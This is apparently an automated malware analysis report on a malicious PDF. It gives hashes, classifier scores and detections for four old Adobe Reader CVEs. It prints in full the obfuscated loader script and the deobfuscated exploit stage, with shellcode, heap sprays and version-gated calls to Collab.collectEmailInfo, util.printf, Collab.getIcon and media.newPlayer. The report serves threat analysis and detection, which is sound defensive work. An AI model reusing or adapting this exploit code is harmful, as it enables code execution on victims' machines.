Malicious PDF — malware analysis report

Static analysis result for SHA-256 ab927f7a73f6c10b…

MALICIOUS

PDF

78.6 KB Authoring application: ring.fromChar First seen: 2026-05-09
MD5: be90c596273ba013672a186dcad1b1a2 SHA-1: 5c5875da363e4143c372c5a18a9e2ee92917b721 SHA-256: ab927f7a73f6c10b655d43bf562ff1ce098c04b3e00f309c5e01cef6be7fa91a
408 Risk Score

Malware Insights

The PDF contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a javascript_obj0001_000.js artifact. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely intended to perform malicious actions upon opening, such as downloading a second-stage payload or exploiting a vulnerability, although the specific actions are not detailed in the provided evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x137F5 406 bytes
SHA-256: 619e6556fb2c1b4fd44fc6b93502713d547c6dd923af38275950491eb902b8ce
Preview script
First 1,000 lines of the extracted script
var l = 'qweqwe'.substr;
var g = l();
t='le';
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var kselt="";
ousig='his';
uahcu='tit';
e('hapy=t'+ousig+"."+uahcu+t);
t='cer'
lkkn='produ';
e('kzc=t'+ousig+"."+lkkn+t);
imqs=e('St'+kzc+'Code');
azkli = e(hapy);
e('k=azkli.length');
for (i = 0; i < k; i+=2) {
	qklcm = azkli[i] + azkli[i+1];
	kselt += imqs(qklcm);
}
e(kselt);
legacy_pdfkit_stage_000.js deobfuscated-js metadata Title array pair-sum decoded JavaScript at offset 0x52 3636 bytes
SHA-256: df8fc4f8e946a9bbcee1c4238f07d5222e375269a939ce438a16eab7a0f5d284
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u8f34%ue2aa%uc3fa%ue5e8%uffff%u66ff%u8e83%u8f8f%u0ed1%ud363%u8f8e%u068f%u0268%u9fc0%ue002%ubedb%ud854%udcde%udcdc%udcdc%udcdc%udcda%ue7dc%u8e8b%u8f8f%ud9da%ue7dc%ue1e0%u8f8f%ufae7%ue3fd%udbe2%u01e7%u81c1%u6763%u8fc7%u8f8f%u67df%u8ff3%u8f8f%u5f70%u4b0c%ue787%u60c0%u8ac0%u67df%u8fe3%u8f8f%u5f70%u4f0a%u98fa%udbe5%u7cd6%ue725%u71fd%u993c%u9267%u8f8f%udf8f%ude67%u8f8f%u708f%udc5f%u71e5%u06e7%u8ee0%u6732%u8f87%u8f8f%u67df%u8fb3%u8f8f%u5f70%ubeef%ueb4f%udf04%u04bf%u83dd%udd04%u049b%ua7fd%u9736%u8f8f%ube8f%ube70%u234f%ueeb3%u8df3%uafa3%u404e%u8e82%u6d48%u0e7f%ud470%uc533%u04e5%u9fcd%u9d04%u56fa%ucb06%u93ab%u4cee%u04ef%uabe3%u04ab%ub3ca%udb04%uf78a%u658e%uc504%u0497%uafd5%u648e%ubb6c%u04c6%u04bb%u618e%u70be%u4fbe%u2373%u4f0b%u88fb%u404e%u8e82%u6448%ub47b%uabf3%ufaa7%u046e%uabd5%u648e%u04e9%uc483%ud504%u8e93%u0464%u048b%u678e%ucb06%u93ab%u4dee%u8f87%u6067%u7071%ue770%ufbfb%ub5ff%ua0a0%ue5e9%uf7fd%ueca1%ua1e0%uecec%ue0a0%uffa1%uffe7%ue9b0%ubeb2%ua9b9%ub2ea%u8fba';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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